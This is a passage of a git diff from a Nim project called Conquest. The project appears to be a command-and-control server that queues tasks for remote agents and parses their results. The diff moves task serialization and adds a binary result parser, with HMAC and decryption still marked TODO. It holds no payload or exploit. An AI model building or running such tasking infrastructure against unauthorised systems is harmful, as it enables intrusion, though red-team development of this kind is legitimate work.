seq[seq[byte]] + # Check if listener exists if not cq.dbListenerExists(listener.toUpperAscii): cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n") @@ -55,40 +58,47 @@ proc getTasks*(listener, agent: string): seq[seq[byte]] = # if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")): # return nil - # Return tasks - return cq.agents[agent.toUpperAscii].tasks + # Return tasks + for task in cq.agents[agent.toUpperAscii].tasks: + let taskData = serializeTask(task) + result.add(taskData) + + return result -proc handleResult*(listener, agent, task: string, taskResult: TaskResult) = +proc handleResult*(resultData: seq[byte]) = {.cast(gcsafe).}: + let + taskResult = deserializeTaskResult(resultData) + taskId = uuidToString(taskResult.taskId) + agentId = uuidToString(taskResult.agentId) + listenerId = uuidToString(taskResult.listenerId) + let date: string = now().format("dd-MM-yyyy HH:mm:ss") + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$resultData.len} bytes received.") - if taskResult.status == cast[uint8](STATUS_FAILED): - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.") + case cast[StatusType](taskResult.status): + of STATUS_COMPLETED: + cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {taskId} completed.") - if taskResult.data.len != 0: - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:") + of STATUS_FAILED: + cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {taskId} failed.") + case cast[ResultType](taskResult.resultType): + of RESULT_STRING: + if int(taskResult.length) > 0: + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Output:") # Split result string on newline to keep formatting - # for line in decode(taskResult.data).split("\n"): - # cq.writeLine(line) - else: - cq.writeLine() + for line in taskResult.data.toString().split("\n"): + cq.writeLine(line) - else: - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.") - - if taskResult.data.len != 0: - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:") + of RESULT_BINARY: + # Write binary data to a file + cq.writeLine() - # Split result string on newline to keep formatting - # for line in decode(taskResult.data).split("\n"): - # cq.writeLine(line) - else: - cq.writeLine() + of RESULT_NO_OUTPUT: + cq.writeLine() # Update task queue to include all tasks, except the one that was just completed - # cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task) - - return \ No newline at end of file + cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId) \ No newline at end of file diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index 500e0bd..eafdd51 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -94,7 +94,7 @@ proc getTasks*(ctx: Context) {.async.} = try: var response: seq[byte] - let tasks = getTasks(listener, agent) + let tasks: seq[seq[byte]] = getTasks(listener, agent) if tasks.len <= 0: resp "", Http200 @@ -134,21 +134,15 @@ proc postResults*(ctx: Context) {.async.} = task = ctx.getPathParams("task") # Check headers - # If POST data is not JSON data, return 404 error code - if ctx.request.contentType != "application/json": + # If POST data is not binary data, return 404 error code + if ctx.request.contentType != "application/octet-stream": resp "", Http404 return try: - let - taskResultJson: JsonNode = parseJson(ctx.request.body) - taskResult: TaskResult = taskResultJson.to(TaskResult) - - # Handle and display task result - handleResult(listener, agent, task, taskResult) + handleResult(ctx.request.body.toBytes()) except CatchableError: - # JSON data is invalid or does not match the expected format (described above) resp "", Http404 return \ No newline at end of file diff --git a/src/server/task/dispatcher.nim b/src/server/task/dispatcher.nim index 7e0caa7..c98d4b7 100644 --- a/src/server/task/dispatcher.nim +++ b/src/server/task/dispatcher.nim @@ -1,5 +1,5 @@ import times, strformat, terminal, tables, json, sequtils, strutils -import ./[parser, packer] +import ./[parser] import ../utils import ../../common/types @@ -177,12 +177,9 @@ proc handleAgentCommand*(cq: Conquest, input: string) = let command = getCommandFromTable(parsedArgs[0], commands) task = cq.parseTask(command, parsedArgs[1..^1]) - taskData: seq[byte] = cq.serializeTask(task) - - # cq.writeLine(taskData.toHexDump()) # Add task to queue - cq.interactAgent.tasks.add(taskData) + cq.interactAgent.tasks.add(task) cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}") except CatchableError: diff --git a/src/server/task/packer.nim b/src/server/task/packer.nim index 68c829e..df09183 100644 --- a/src/server/task/packer.nim +++ b/src/server/task/packer.nim @@ -3,9 +3,9 @@ import ../utils import ../../common/types import ../../common/serialize -proc serializeTask*(cq: Conquest, task: Task): seq[byte] = +proc serializeTask*(task: Task): seq[byte] = - var packer = initTaskPacker() + var packer = initPacker() # Serialize payload packer @@ -39,3 +39,63 @@ proc serializeTask*(cq: Conquest, task: Task): seq[byte] = # TODO: Calculate and patch HMAC return header & payload + +proc deserializeTaskResult*(resultData: seq[byte]): TaskResult = + + var unpacker = initUnpacker(resultData.toString) + + let + magic = unpacker.getUint32() + version = unpacker.getUint8() + packetType = unpacker.getUint8() + flags = unpacker.getUint16() + seqNr = unpacker.getUint32() + size = unpacker.getUint32() + hmacBytes = unpacker.getBytes(16) + + # Explicit conversion from seq[byte] to array[16, byte] + var hmac: array[16, byte] + copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16) + + # Packet Validation + if magic != MAGIC: + raise newException(CatchableError, "Invalid magic bytes.") + + # TODO: Validate sequence number + + # TODO: Validate HMAC + + # TODO: Decrypt payload + # let payload = unpacker.getBytes(size) + + let + taskId = unpacker.getUint32() + agentId = unpacker.getUint32() + listenerId = unpacker.getUint32() + timestamp = unpacker.getUint32() + command = unpacker.getUint16() + status = unpacker.getUint8() + resultType = unpacker.getUint8() + length = unpacker.getUint32() + data = unpacker.getBytes(int(length)) + + return TaskResult( + header: Header( + magic: magic, + version: version, + packetType: packetType, + flags: flags, + seqNr: seqNr, + size: size, + hmac: hmac + ), + taskId: taskId, + agentId: agentId, + listenerId: listenerId, + timestamp: timestamp, + command: command, + status: status, + resultType: resultType, + length: length, + data: data + ) \ No newline at end of file diff --git a/src/server/utils.nim b/src/server/utils.nim index b6cb842..12bd1df 100644 --- a/src/server/utils.nim +++ b/src/server/utils.nim @@ -31,6 +31,11 @@ proc toString*(data: seq[byte]): string = for i, b in data: result[i] = char(b) +proc toBytes*(data: string): seq[byte] = + result = newSeq[byte](data.len) + for i, c in data: + result[i] = byte(c.ord) + proc toHexDump*(data: seq[byte]): string = for i, b in data: result.add(b.toHex(2))